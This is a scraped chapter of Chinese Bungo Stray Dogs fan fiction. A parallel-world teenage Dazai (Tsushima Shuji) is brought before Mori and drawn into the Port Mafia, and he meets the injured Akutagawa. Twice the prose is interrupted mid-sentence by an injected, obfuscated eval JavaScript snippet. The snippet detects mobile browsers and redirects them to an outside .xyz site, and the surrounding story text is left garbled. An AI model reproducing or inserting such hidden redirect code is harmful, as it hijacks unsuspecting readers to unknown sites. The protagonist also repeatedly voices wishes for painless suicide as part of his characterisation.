他燃起了些兴趣,紧盯着玻璃外的风景,似是感叹:“好高哎,这个玻璃易碎吗?” 听上去兴趣斐然,但中原中也不用想都知道这家伙没什么好念头,这种玻璃电梯是首领当初特意专门升级过的,采取了子弹都无法击碎的工艺,防止的便是当初某人万一说着什么:呀外面真漂亮真想跳下去,然后一枪打碎玻璃真的跳下去。 中原中也冷笑道:“你死心吧,这个玻璃子弹都打不破。” “那炸弹呢?” “哈?应该也...” 电梯门及时打开,制止了中原中也被带偏讨论这个玻璃易不易碎的可能性。 中原中也走出电梯门,示意津岛修治跟上。 津岛修治这次没有刻意惹怒中原中也的念头,只是跟在对方身后,把脚步踩得一深一浅。 走廊铺着长毛地毯,踩在上面像陷进去一般阻隔了声音,乳白色的光芒笼罩着整个走廊,尽头站着两个身着黑西装的守卫,沉默地看护着一扇法式的门,门是推拉式,格外气派的装修,毋庸置疑,肯定是通向首领办公室的了。 走到门前,津岛修治敏锐地察觉到从门内传出的声音,他耸了耸耳朵,几乎为自己听到的信息量而惊叹一声。男人的声音与少女的声音交叠着,男人的祈求与少女的抱怨,最后演变为逼近门口的脚步声。 中原中也向首领办公室前站岗的人点了下头,手停留在门上,刚要敲响时,门被突兀推开。 一个长相甜美的少女,怒气冲冲地走了出来,用带着怒意一般的声音对着门后喊道:“林太郎要是那么喜欢小裙子的话,就自己穿啊!我绝对!绝对!不要再穿了!” 办公室内传来什么东西心碎的声音:“爱丽丝酱——” 津岛修治眨眨眼,饶有兴趣注视着少女。少女左右环顾,蓝色的眼睛似乎与津岛修治对上一瞬,下一刻便挪开,仿佛刚才的对视只是一个错觉,倘若不是津岛修治格外敏锐的话,那便会下意识忽视:那个瞬间,像是审视。 少女的视线挪开后停留在一个身着黑西装的守卫身上,她伸出纤细的手指,指向对方,本来应该不太符合礼节的动作,碍于她的可爱,可以被全权忽略:“你去跟我把我的甜点都安排好吧,我要进行下午茶了!” 像是丝毫不在意场上的津岛修治与中原中也一样,少女金色微卷的长发扬起,有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505851|170473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻险些触碰到津岛修治的指尖,却并未触及,只是脚步轻快地带着一个守卫离开了。 …… 津岛修治计算了一下眼前的距离,“若有所思”地回头看了一眼少女的背影,后退几步的时候“不小心”撞到另一个身穿黑西装的守卫身上,小声呼痛的同时,以一种轻巧到不被察觉的力度卸掉守卫别在腰间的手枪,别在自己腰后,借宽松偏大的衬衫下摆遮挡,他的衬衫部分地方因为之前在地上滚过的缘故,粘上一层灰,人的视觉重心应该会放在衬衫的灰上。 中原中也回头查看时,津岛修治的一系列动作已经完成,见他看过来,歪了歪头,对守卫道了声歉,跟在中原中也身后。 中原中也狐疑地收回视线,这次没有进行礼节性的敲门,直接推开了那扇法式大门。 首领办公室的内部格外宽敞,周遭是灰色的墙面,中央摆放一个红木制成的办公桌,黑色皮革所做成办公椅上坐着一个看上去有些颓废的男人,正哭丧着脸喊着爱丽丝的名字。 中原中也摘下头顶的帽子,轻咳一声:“首领,我把他带过来了。” 那个颓废的男人像是才意识到一般,神色恍惚一瞬,才刻意收敛了那种颓态,视线从中原中也身上略过,整个放在津岛修治身上,一种堪称锐利的视线审视着津岛修治,像是要看透他的内里,挖出他的灵魂,来审判。 ……不是表现出来的好对付啊,真麻烦。 说不定能真的被杀死呢。 津岛修治神色恹恹,眉眼似带一种倦意,平静地注视着对方,宛若一个缄默的幽灵,对他的审视未报以任何表现。 他沉默着,无动于衷,袖手旁观对方的审判。 森鸥外时隔八年,再次见到一个十四岁的幽灵,他的共犯,曾经他所认为的那个和他很像的孩子,旧日的命运共同体——的前身。那个未与他成为同谋的孩子,便是这幅模样,冷漠地注视着世间,像并未身处其中。如果是这样,也难怪中也君拿不准情况了,连他都有点苦恼了呢。森鸥外收敛了那股锐利的气势,手撑在桌子上,开口,像是感叹一般:“是这种状况啊。” 津岛修治模模糊糊附和一般,用一种黏糊的,并不轻快的语调:“是这种情况嘛——” 场面像凝结再次解冻一般,中原中也扶着帽子站在一旁,等待首领的命令。 森鸥外起身,从红木办公桌后走出,距离逐渐缩减,他走近津岛修治,微微俯下身,直视对方的双眼,声音平静,却裹挟一种扑面而来的威压:“现在的姓氏还是津岛吗?” 中原中也错愕地看过来。 津岛修治的平静宛如被整个打破般,从内里渗透一种冰冷,他只微妙地诧异一瞬便下沉,阴郁的鸢眼望进成年人游刃有余的紫色双眼。真是……讨厌,烂摊子,被了解这件事真是恶心……他的神色肉眼可见的冷起来,原本所刻意表现的那些内容整个被剜出一般,暴露一种本质的厌倦。少年的声音沉沉,并不欢快:“是啊,首领先生。” 右手向腰后探去,他掏出那把原属于守卫的枪,枪口正对森鸥外的额头。 倘若这个角度开枪的话,必死无疑吧。 该死的,不是在安检时把这小鬼身上所有东西都收缴了吗,中原中也暗骂一声,几乎要立刻发动重力异能,即便重力无法对津岛修治产生任何作用,但是拖来别的东西砸落枪还是能够做到的。 森鸥外的脸色没有任何变化,平静地伸出手以一个手势制止了他,中原中也的动作停顿,但还是面带警惕地注视着津岛修治的举动,如果有任何要扣动扳机的举动出现,他都将在下刻出手。 哪怕是面对这种赤裸裸的威胁,森鸥外的脸上却还是没有什么惊讶出现,他脸上只是浮现一种莫名的神情,带着苦恼一般:“津岛君的话,现在应该还不会开枪吧。” 8. 不想要见到那个家伙 在港口黑手党总部的首领办公室,用手枪指着港口黑手党的首领。 这倘若流传出去的话比世面上的所有三流笑话都要荒谬,说不定还会让港口黑手党的威慑度大打折扣,津岛修治看着森鸥外的双眼,成年人自上而下地注视着他,平静,笃定,话语毫无波折。 轻易讲出了一个事实。 彼此心知肚明的事实。 所谓的不会开枪当然不是肤浅的字面意思,而是一种更深层的:哪怕开枪也没有意义。 袖手旁观的那只「羊」之王凶神恶煞,而他想要惹怒森鸥外的行径没有达成效用,对于对方的性格猜测倒是能够完善一部分,看来——与他的世界里的那位首领很是符合啊,是同一个人吧,有着超乎控制的理性,心计深得难以看穿。 这都怪这世界那个家伙吧。 被了解还真是讨厌,好不爽啊。 津岛修治堪称冰冷地注视着对方。 手指按在扳机上轻轻用力,却又在枪口将要射出子弹的那刻收敛了浑身敌意,他撇撇嘴,叹了口气。一甩手,枪轻快地落到地上,由一个威胁变成一个妥协,几乎是抱怨般的开口:“还真了解我嘛,首领先生。” 森鸥外露出一个意料之中的笑,笑意不深,所有的深意潜藏在那双紫色双眼中,他注视着津岛修治,苦恼地皱了皱眉道:“被称呼惯了森先生突然被叫首领先生还有些不习惯呢。津岛君,可以介绍一下自己吗?” 问来历啊,这不是完全把话语权掌握在手里了吗。 津岛修治眉眼倦怠,视线平静扫过在场的两个成年人,灰色的墙壁,最后了无趣味地落在眼前那个注视着自己,等待回答的男人:“这个世界的他已经叛逃了吧,森先生。” “没错哦。”森鸥外对于津岛修治推测出太宰的叛逃没有任何意外,只是在觉察津岛修治的话语含义后难免有些诧异,并没有掩盖的意思,他问:“平行世界?” “没错哦,平行世界。” 像是突觉有趣一样,津岛修治眨眨眼,以相同的话,变换了的语气如此进行回答,即便话听上去只是欢快却没什么气力。 “因为按照时间来说的话,这里可是八年后了吧,真是的,我明明只是在尝试跳河自杀那种方法呢,没想到不仅没死成还反而离开了原本的世界……好想死嘛,啊,说不定在这个世界死去会回到原本的世界,或者干脆死掉呢。” 在末尾带上了明显的期待。 中原中也没来得及为突然增长的信息量而惊愕,便被对方的话而打断了那种惊愕。 他表情复杂地看了津岛修治一眼,果然,他就说看这小鬼怎么那么不顺眼,平行世界的太宰治啊……那说得通了,他跟太宰治这种生物相看两厌果然是生物习性。话说平行世界真的存在?! 森鸥外只是沉静地听至末尾,若有所思地捻了捻手指,所有的思考在脑内进行运转与推行,在表面上,他把那种不确凿的怀疑压在眼底,一面之词,全来自对方的叙述,他几乎无法相信——如果不是他在这个少年身上看到与当初太宰君所共有的,对于生存的茫然的话,那种像陷入沼泽一般的空洞。 他带着某种深沉的笑意开口,一个来自港口黑手党首领的邀请自他的口中发出,所有脑内的思考都没有展现在表面上,就像根本没进行一样:“这样啊,要加入港口黑手党吗?津岛君。” 中原中也神色复杂。 津岛修治的活泼被这句话轻易抵消,他面色古怪起来,兴致缺缺,话语明显不满:“森先生,我以为谈判只在等式成立的情况下能够进行吧,你的威胁摆在明面上啊。” 森鸥外环视周遭,佯装困惑地看向中原中也:“我们有威胁津岛君吗?” ...对,不。 中原中也嘴角抽了抽,注视着自家首领,深沉地点...摇了摇头。把他中原中也留在这里的作用不就是威胁吗,要不然首领跟一个小鬼的谈话他在这里干什么。 总给他一种幻视当年的感觉。 下一秒太宰治就要大声抱怨了。 “首领先生装糊涂的样子很假啊!” 果不其然,平行世界的太宰治也是太宰治,中原中也险些为这即视感眼前一黑。 “我只想要死掉啊,那种轻松的,最好是没什么痛苦的,无论什么时候睁开眼都不是第二天了的那种,我对加入港口黑手党这种黑暗血腥暴力组织毫无兴趣啊!” 中原中也嘴角抽了抽,他捏着帽檐向下压,把自己当做没有语言能力的帽子架,沉默地担任一个守卫。 “总感觉有些怀念了呢。” 森鸥外如此感叹,没对少年话语里的抱怨而产生不满,他伸出戴着手套的手,放到对方额头上,这双曾为医者的手握着手术刀救过不少人,也杀过不少人。因而当这孩子额头的滚烫隔着一层手套都仿佛能烧上手指时,他只有种果不其然的预感。 连联系不上爱丽丝这一点也在其中。 虽然中也君提到过,但总得试试。 津岛修治神色恹恹地扫他一眼,森鸥外收回手,直起腰,走回办公桌后,他在担任首领后便没有再安排一个药物柜在首领办公室,那与首领的氛围感格格不入,他坐回黑色皮革办公椅上,苦恼地揉了揉太阳穴道:“不要说那种话,会让你尝试一种格外痛苦的死法哦。” “我所追求的明明是无痛自杀吧,好过分。” 黏黏糊糊的抱怨,没有什么威胁力度。 “姑且留在这里帮帮忙吧,我当初为了抚养这个世界的太宰君可是费心又费力哦。”森鸥外露出一个苦笑:“当初刚遇到太宰君时我可是吃了不少苦头呢,又是当电影主人公一样绞尽心思拆绑在椅子下的炸弹,又是要时刻拦着太宰君不要突然一下跳河里,还要注意着不要太宰君吃到不该吃的药物。” 津岛修治如此想了想,倘若每次自杀关键时刻都被人拦下来,他由衷感觉简直是一场噩梦:“那他肯定很讨厌你了。” 不过,“可以详细说一说把炸弹绑在椅子下的那个事件吗?我很想借鉴一下嘛。” 森鸥外悠悠道:“不可以哦。” 姑且不是很想在之后迎接埋在首领办公室中的炸弹那种事。 “津岛君,不好奇吗,这个世界的太宰君的过往。” 津岛修治闻言只是兴致缺缺,他确实没什么兴趣,太宰治的过往跟他津岛修治有什么关系?了解太宰治有什么用,他对跟自己那么相像的个体产生的情感,只可能是厌恶吧。 厌恶你活着。 厌恶你未死去。 似乎看出了他的没兴趣,森鸥外露出了一个莫名的笑容,他缓缓将双手交叉放至下巴下,紫色的眼睛深沉,内有逻辑与理性的运转,以一种普通到几乎不会被察觉地方式施加一种威压,没有任何停顿,继续说出早就谋划好的话,他的声音并没有放大,说出来却格外清晰,犹如一把能撕裂现状的刀,割破了原本要趋于平静的氛围:“津岛君,你不想知道太宰君为什么选择了活着吗?” 你不想知道——人活下去的价值究竟是什么吗? …… 津岛修治原本的表情一点点褪下,转换成一种阴沉的冰冷,像是一种本质,只会在触及核心时泄露。他开口,如同一具将死却被扣留的尸体,声音像是飘在空中的灰烬,倘若落到皮肤上,一碾就会成为一片黑痕,却轻易便能被冲刷,留不下任何印记:“……我又没有选择权吧,不愧是港口黑手党,做什么事都是强硬派。” “是留下的意思?” “是不想留下但被逼留下所以只能选择留下 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不过怎样都无所谓了。 留在港口黑手党一段时间也无所谓。 反正目前也无处可去。 谈判迎来终结,场面原本接近凝结的气氛忽地松懈开来,那些尔虞我诈仿佛从未发生一样,森鸥外与津岛修治心照不宣地一同揭过,仿佛之前并未发生一般,聪明人的武器是口舌,落幕之时毫无血腥,却已决出胜者。 森鸥外没有在这时便决定对方的职务安排,他轻描淡写地把方才发生的一切掀开,当做什么都未发生一般,看向从刚才起就沉默担当守卫职责的中原中也,道:“中也君,可以麻烦你把津岛君带去医疗部吗?” 中原中也历经一场不见血的博弈,对于津岛修治的留下,虽然有些顾虑但没有直接在这个场合脱口而出,疑问可以在之后再单独询问首领,在有“外人”所在的场合,对于首领的命令作出任何质问,都是有损首领威严的行径。 “是,首领。” 如此说完,他抬了抬帽檐,看向津岛修治,那小鬼一副兴致缺缺,阴沉沉的。生病?刻意没表现出来?总不可能是他的判断能力有所下降?仔细一回想,似乎从一开始就有些端倪?中原中也略带些纠结地回忆着开端,边回忆,边准备走向门的方向。 津岛修治只是站在原地,似乎首领刚刚的话语中没有他的出现一般,兴致缺缺注视着墙壁旁边的油画。 森鸥外看向津岛修治,津岛修治像不在意他的视线一样,只是装没听见,他几乎记起一些往事,语气稍稍放轻:“去打个退热针吧,津岛君。” “不要。” 中原中也迈出的脚步卡住。 ……忘了还有这一遭。 森鸥外颇为头疼地注视着津岛修治,语气再次放轻了些,带上些诱哄意味:“不疼的。” “才不要。” “跟输液比起来还是打针好一点吧。” “都不好。” “你应该知道的,发热导致死亡的概率低得可怜。” “哦。” …… 真是熟悉的场景。 在闹脾气啊。 对于这些与港口黑手党的利益几乎不会有损害的事,便不适宜用上那些暴力的压迫行径了呢。 姑且也算半个教育者,森鸥外苦恼地按了按自己的太阳穴,眼神看向一旁的中原中也,收到首领的暗示,中原中也看向津岛修治,沉默了一下,他开口,语气僵硬:“你这小鬼既然留在港口黑手党倒是要有遵守首领命令的认知啊,敢违反首领命令的下场你知道吗?” ……倒不是让你说这个了,中也君。 9. 刚刚睡了吗 作为与黑暗暴力息息相关的组织,必然无法避开的便是伤疤与血液,医疗部门独占港口黑手党的三层,第一二层是给基础员工,第三层则是仅供职位较高的人来使用。 津岛修治目前所在的,恰是第三层。 病房内弥漫着的是消毒液的味道,他没什么精神地侧躺在病床上,原本滚上灰的衣服被换成一身宽大的蓝白病号服,蓬松的黑发略带些凌乱,他神色困倦地盯着高悬的挂瓶内部的液体一滴滴地滴落,通过导管输送进胳膊的血管中,整个过程以一种缓慢的速度。他心不在焉地曲起手指,弹了下输液管。 插入胳膊中的输液针被医用胶带固定在胳膊上,没有被扯动。 好无聊啊。 试探那个首领底线的行为似乎被看出来了,嘁,被直接送客了。中原中也那个家伙,该说不愧是「羊」之王吗,真是个只知道粗暴行事的家伙。在森鸥外更正了一下指令后,那家伙提着他的衣领把他拎出了办公室,森鸥外就在他身后说着什么“虽然很想陪津岛君一起去医疗部但是工作有点忙不过来之后会给你安排下属的要记得查收”——这类话,如果那双紫色的眼里没有笑的话,他就要感动了呢。 嘁,没有笑意他也不会感动。 那双眼明明就是在嘲笑啊,哇啊,真可恶啊。 在把他拎出办公室后,中原中也松开手,神色微妙地轻咳一声,似乎意识到现在的年龄差距,刻意以一种长辈姿态说话,眼里带着浓厚的幸灾乐祸以及明显的嘲讽:“你这个年纪的小鬼倒是听点大人们的话啊,真不知道一天到晚在想些什么。” 好恶心的腔调,在原来的世界这家伙年龄应该跟他差不多吧。 津岛修治敷衍性地看了对方一眼,跟在中原中也身后,声音有气无力:“嗯嗯嗯,等你到了我这个年纪就知道了。” “你要不要听听你在说什么?” 中原中也被呛了一下。 津岛修治脚步踩得一轻一重,长毛地毯踩着的质感很有趣,他拉长音调模模糊糊道:“不好意思,原来你成年了吗,成年后的话还这个身高那还真是有点可悲了吧。” 中原中也的脚步顿住,语气危险起来,带着明显的怒意:“哈,你找死吗,小鬼。” “那还真是感谢您的大恩大德了。” “……” 打破这场争斗的是尽头骤然打开的电梯,一位有着像是红莲一般火红色的长发,身着和服的女子抬眸看来,姿态优雅,那双眼的颜色与发色相同,仿佛是一同在燃烧着的火焰。 中原中也原本捏紧的拳头松开,看向对方,语气并不算庄重,带着明显的熟稔打了个招呼:“啊,红叶大姐。” 红叶。 小田君提到的那一位女性干部吗?可能性很高啊。那么在原本的世界中,有没有这位女性干部呢?唔,姑且需要研究一下。 津岛修治在之前的世界没有刻意收集过港口黑手党有关的情报,基本上所知晓的信息全是周边无意的泄露或是敏锐的洞察力。对于情报,他只会听自己感兴趣的部分,全当是收集游戏,谁会想到这个世界的那个家伙居然进了港口黑手党呢。 连他自己也没想到啊! 被称为红叶大姐的女子缓步走来,身材高挑,脸上带着的笑意并不深,格外优雅,从容,在看清津岛修治的那刻眉毛巧妙地向下压了一点,幅度不大,并不明显,甚至只一瞬便调整好了,仿佛刚刚是一个错觉。 不用想了,她也认识那家伙。津岛修治兴致缺缺地看着对方逐渐靠近的身影,直到走到身前。这位女子垂下眼眸,伸出手—— 摁在了他蓬松的黑发上,摸了摸。 咦? 津岛修治眨眨眼,略带诧异。 被称为红叶大姐的女性声音如琴音一般优雅:“中也,你倒是对小孩子有点耐心。首领已经跟我说过了哦,津岛君,是吧。” 津岛修治把诧异轻易压了下去,声音轻飘飘,带着些少年感:“是哦。” “大姐头,这小鬼可是一直在找我的麻烦啊。” 尾崎红叶把手收回,闻言轻笑,仿佛被调动起回忆一样,燃烧过的眼里带着些笑,却并未就着这个话题深入,是刻意地把话语收敛避免信息量的泄露了吗,津岛修治垂下眼,是谁安排的呢? 女性看向中原中也:“带津岛君去三层的医疗部输液吧,首领已经安排好房间了,挨着最尽头的那间。” 一锤定音般。 最尽头的那间,那不是…… 中原中也看了一眼津岛修治,脸色微妙了一瞬,又借着调整帽子的动作压下。 输液需要耗费的时间要多于打针,三层,医疗部不止一层,安排好房间,照那个人的脸色的话,肯定有别的用意了啊,目前掌握的情报不够啊。津岛修治将视线从中原中也的脸上收回,暗中撇了撇嘴,不高兴地在心里长嘁一声,真是的。 中原中也与尾崎红叶告别,领路带着津岛修治来到医疗部,轻车熟路地找到值班医生所在的位置,交代完病情后,幸灾乐祸等着看津岛修治扎输液针。 值班医生的位置很隐蔽啊。津岛修治神色恹恹瞥他一眼,在值班医生将要把输液针扎进手臂前,微微缩了缩手指,随后猛地起身走近中原中也,没有在意险些扎错血管的输液针,他看向中原中也。 中原中也迎着津岛修治的视线,毫不避讳地嘲笑道:“你这小鬼,害怕了吗?” 津岛修治厌嫌地长嘁一声,不怎么开心地垂着眼,目光停留在衣服上的灰道:“我要先换身衣服。” ……回忆起自己似乎曾经把这小鬼当石子扔的中原中也轻咳一声,嘴上说着真是麻烦还是给这小鬼找了身病号服,这附近也就只有这个了,等津岛修治换完后,拖着身宽大的病号服,没怎么反抗顺从地扎上了连接输液瓶的针,乖顺得不像津岛修治,折腾完将他运到挨着最尽头那间的房间,中原中也解放般爽快,扔下一句到处都有监控劝你不要找死后解脱一样离开了。 ——这就是他如今在这个病房内无所事事的前因了,这里肯定也有监控吧,隐形的那种啊,感觉好恶心。 津岛修治闭眼。 津岛修治睁眼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505853|170473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>睡不着啊啊。 眼神扫视过整个房间。这个房间的装扮很符合病房的标准,甚至更为空荡荡,刷成白色的墙壁,一张床,一个上锁的药物柜,高悬的输液装置,除此之外,什么都没有。 这倒让他回想一点往事,他转过身,面对墙壁,指甲触碰墙面,轻易划出一个痕迹,脸上什么表情没有,如同空一般。 津岛修治在原本的世界里居住的是一个废弃的集装箱,在垃圾场的最中心,没什么人会选择那里居住,也几乎没什么人会涉足那里。那并不是“家”,里面空荡荡,除了装载他每个苟活的夜晚外毫无意义,他在集装箱的内部用指甲在铁漆上划出过痕迹,记载每一个没能死掉的今天。 虽说换了个世界,还是继续一下传统吧。 …… 别让我失望,不要让我失望。 津岛修治闭眼。 …… 津岛修治睁眼。 ……咦,话说,刚刚睡了吗? 不,这个,这个问题超重要的啊。 所以说睡眠质量不怎么好就是这一点超麻烦啊,不清楚是不是人体自动保护措施在最低限度维持生命,他深沉地看了眼已经接近底端的输液瓶,看了看开始回流逐渐溢向输液管的血,药效确实有用,体温虽然仍然微热但比原来好了许多,预计再过一段时间就会彻底正常。前所未有的清醒啊,他动动微麻的手指,下一步干脆利落拔掉输液针。 血珠从针拔出的部位涌出。 啊,绷带在之前脏掉的衣物上,他现在的身上只有一张黑卡,从不怎么好心的黑漆漆人士身上顺来的。 津岛修治顶着仍在冒血的胳膊开始深沉思考,虽然只要摁住就能止血,但是用衣服的话,唔还是有点那个嘛,所以药物柜的存在必然是有用处的吧! 如此想着,他欢快地起身,顺手拔下了输液针,走近上锁的药物柜,不怎么费力地用针撬开锁,忽略了最上层的药物堆,在下层找到了成堆的绷带,大收获! 有想弄清的事,暂时…… 暂时不考虑死亡。 他动作轻快地给自己整个手臂缠起绷带。 原本流淌的血珠洇湿一小块绷带便止住,津岛修治没有在意这些细节,绑完绷带后,他转身,推开了病房的门。 走廊外什么人都没有,或者说,这一层可能都没几个人,空的不合常理,更像刻意安排,顶端倒是有明显的监控在运转。津岛修治朝监控挥挥手,眼底藏着思索。 方才所在的房间,是那位女性口中挨着最尽头那间的存在,旁边的“最尽头那间”从墙壁所占份额来说,规模要更大一些,以可以容纳病人的房间角度来说,确实是最尽头那间,而以具体位置来说,它的旁边是楼梯间,楼梯间的门开敞着。 原本还想要去敲敲其他门看看有没有人在的,看来没那个必要了。 从开始就指向旁边那间了啊,真是劣质的引导嘛。 津岛修治兴致缺缺,将目光挪向自己的病房旁边的那一间,平静迈步走至门前。 他屈指,敲了敲门。 10. 鬼是人假扮的 打开门的是一个女人。 黄色头发扎成丸子头,一身黑色西装衬得身形干练。在开门的那刻,脸上还带着未全然褪下的神伤,似乎那种伤感难以控制,于是浮现在脸上,成为一种货真价实的忧戚。 担忧始终是一种有趣的情感,它能在悄无声息中暴露一个人的软肋。 津岛修治没来由的生起了些兴趣。 女人收敛了那种忧戚,注视着明显是少年的身形,诧异表现在表面上,她的视线下移,直到看清少年脸的那刻。樋口一叶瞳孔紧缩,惊愕难抵,她身体向左半步,挡住了津岛修治投向门后的视线,迅疾果断地掏出了枪,而枪口正对津岛修治的额头,眼中带着犀利的怀疑与审视,质问道:“你和武装侦探社的那家伙什么关系?怎么会在这里?” 唔啊,新名词,没有相关记忆啊,是这个世界所特有的?还是说成立时间在错过的这八年中?暂时没办法判断啊。似乎跟港口黑手党的关系不怎么好,那么,那里便是那家伙的新东家了吧……好劣质的解密游戏,下一步是什么,嗯?下属签收?咦,这个流程是不是太快了。 不过啊,话说被敌视是什么入职所必备的流程吗,那家伙到底惹了多少人?一直被枪举着但又没办法被杀就像把石头扔进水里以为能溅起水花结果只是扑腾一下沉底一样——好讨厌嘛。 这一层的监控仍在运转。 津岛修治漫不经心地看向正对自己的枪口,眼里沉沉像一片泥沼。唔,投降好了。在对方的手指按下扳机之前,他眨眨眼,为彰显自己的无害温顺地举起双手,以一种黏腻的腔调拉着声音抱怨:“好粗暴的见面礼,不要一见面就掏枪嘛——” “叮咚。” 津岛修治轻快地模仿了一下电话来电的铃声。 声音飘碎在空中的下一秒,从樋口一叶的口袋内传出了手机铃声,津岛修治垮下脸,小声嘀咕:模仿错了,居然是叮铃铃。 樋口一叶皱了皱眉,对准津岛修治的枪口没有发生偏转,另一只手从口袋中掏出手机,在看到手机亮起的界面后整个人一顿,来电显示:首领。 她边警惕地注视着津岛修治,边接通电话,靠近听筒,声音干脆:“这里是樋口,首领。” “……” 樋口一叶难以遮挡的惊愕,注视津岛修治的眼神带上怀疑,似乎从听筒对面传来了什么不可置信的话语:“是,但是首领,他……” “……” 她将要出口的话似乎被听筒那侧的人卡住,嘴启合几次,最后只是垂下拿枪的手,枪口不再对准那个长相酷似那个人的少年,低声对着手机应了声是,她神色复杂地把手机递给津岛修治。 “……津岛先生,首领要和你对话。” 津岛修治没什么意外地接过手机。唔啊,该说不愧八年后吗,手机的型号转变得格外大啊,从在库房的时候就想感叹了,哎呀,回想起来的话,当时随口说的那个货物比率经过八年居然没怎么变,不过这是不可能的吧,想远了—— 他将耳朵凑近听筒。 听筒那侧的声音格外清晰,连同那种透彻的算计也格外清晰明了。 “津岛君,有个磨损了的下属,你要录用吗?” 森鸥外的话语格外随意,就像是在心血来潮的闲谈中提起什么不值一提的话题。 哇啊,安排那么多原来是为此做铺垫啊,真是想法太多的大人。 津岛修治兴致缺缺地抬起头,看向樋口一叶,女人微微侧身避开了他的视线,却始终站在门前,如同一种倔强的,无声的守护,守护身后那个房间内的……。直到津岛修治饶有兴趣迈出一步,她才不得不退后两步,让出门的位置,垂下的头发几乎遮住她的眼,她的神色带着一种明显的感伤。 原来如此,她有所预料啊。 什么方面的预料,肯定是不好的方面,需要下意识维护身后的人,森先生不会是把自己描绘成恐怖的邪恶存在了吧,好失礼哦。 津岛修治悄无声息将视线从对方脸上收回,走进这个房间的同时扫视遍整个房间,樋口一叶无力地张了张嘴,没有话语能出口,她沉默地跟在他身后。 第一刻映入眼中的便是紧闭双眼平躺在病床上的一个青年,黑发,两侧的头发则是带着些白,昏迷状态,无自主意识,带着呼吸罩。 唔啊,一眼便能看出来,伤得真重啊,浑身缠的绷带比津岛修治都要多,监护仪上记载的心率与呼吸频率偏低。 手机那侧的首领似乎格外有耐心。 津岛修治并没有保持安静避免打扰病患那种意识,走近病床后便拉过一旁的椅子,毫不客气坐在上面,单手拿过旁边柜子上的病历,放在腿上垂着头漫不经心看起来,另一只手捏着手机,对着手机说出的声音轻快,却没带什么明确情感,森鸥外像是随口的问,时隔几分钟后,他便像是随口的答,接着开始的话题:“真是无情啊,如果不用的话?” 樋口一叶的呼吸在津岛修治状似无意的问话式回答中一顿。 而手机那侧的森鸥外却是立刻给出了回答,仅一个词汇,干脆果断:“扔掉。” 津岛修治撇撇嘴,情报的摄取量不够,他对于对方立刻的回答便一时分不清是真还是假。 病历上的症状他从头看到尾,毋庸置疑,经历一场战争,不像普通人之间,更像异能者之间的战争,敌对组织?任务?没办法得到绝对的答案,他心不在焉把病历拿起顺手塞给一旁的樋口一叶,樋口一叶下意识拿住,没注意到她的枪被顺走,津岛修治把弄着枪,模模糊糊抱怨道:“森先生,明明只是一道判断题,设置了引入部分,设置了题目,却不给我题面啊。” “那一位躺在病床上的,是已经叛逃的太宰君的弟子哦。” …… 咦?无意识间差点发出一个困惑的音节。 津岛修治猛地止住,手中的枪险些没拿住,格外微妙地扫视着躺在病床上的青年。不,这个,啊,这种情况,确实没有骗人的必要,但是,这世界的那家伙居然有教弟子的闲心?他能教什么,自杀的一千零八种方法吗,唔啊啊啊,这个感觉还挺有诱惑力的嘛。 森鸥外的声音没断,隔着屏幕都仿佛能感受到对方货真价实的苦恼:“现在的情况是这位芥川君的个性太过突出,明明有着那么强劲的异能,结果既没完成任务,又招惹了一些别的组织,甚至听说要进行什么报复行动呢,可真吓人吧。” 津岛修治对男人伪装出的苦恼兴致缺缺,说话的声音在方才经历了“一记重击”后有些发飘,即便如此,说出的话也不留什么情面:“森先生,你难道是会因为刀不受控就直接弃刀的类型吗?刀如果太锋利的话,安排一个鞘——” 津岛修治的话语突兀顿住。 脸上露出了若有所思的神情。 原来如此,那家伙就是这样做的吧,所以叛逃之后进了敌对阵营,也就是武装侦探社后就有点麻烦了吧。 唔,弟子什么的,他可没有收用的兴趣啊。 那么森先生让他来到这里,目的是什么呢?像是放权一般的行径,坦率的直说要给予一个下属,以至于微妙的难以理解,如同货真价实的信任,却建立在双方心知肚明的猜疑之上。 好麻烦嘛。 招惹了一些别的组织,看样子这一层的人员稀少是刻意安排,那么报复行动便是……劫人?要舍弃吗,但是啊,强劲的异能——能被堂堂港口黑手党的首领如此评判的异能力,听上去可不是什么会轻易抛舍的存在。 这样的话,前后就有些矛盾了呢,关键点在于——要借这件事来做什么吗?还是说是自己多虑了? 不,不对……如果要考虑的话,是那个吧,津岛修治扫视遍整个房间里的人。唔啊,大概明白了,把他当枪用啊,顺水推舟的测试?那看来可能性的下属就不止病床上的那位了呢。 他单手摆弄了一下手中顺来的枪,嫌麻烦,另一只手干脆利落挂断通讯,把手机递还给樋口一叶,眼神下垂看着手中冰冷的枪械,恢复了那种什么都留不下痕迹的表情。 樋口一叶把手机塞回口袋,直到手中所拿的病历被捏得起痕才微微放松。她警觉地看向这个坐在椅子上的少年,风格完全不一样……与武装侦探社那个家伙相比,哪怕同样脸上带着笑容,面前这个少年那双鸢色的眼里却是阴郁的,仿佛什么都能看清,又仿佛什么都没承载,她张张嘴,发现想要恳请什么的话语始终艰难地卡在喉咙里,无法轻易脱口。 那些恳请倘若被芥川前辈知晓,所得到的必然只是一种嗤笑吧。
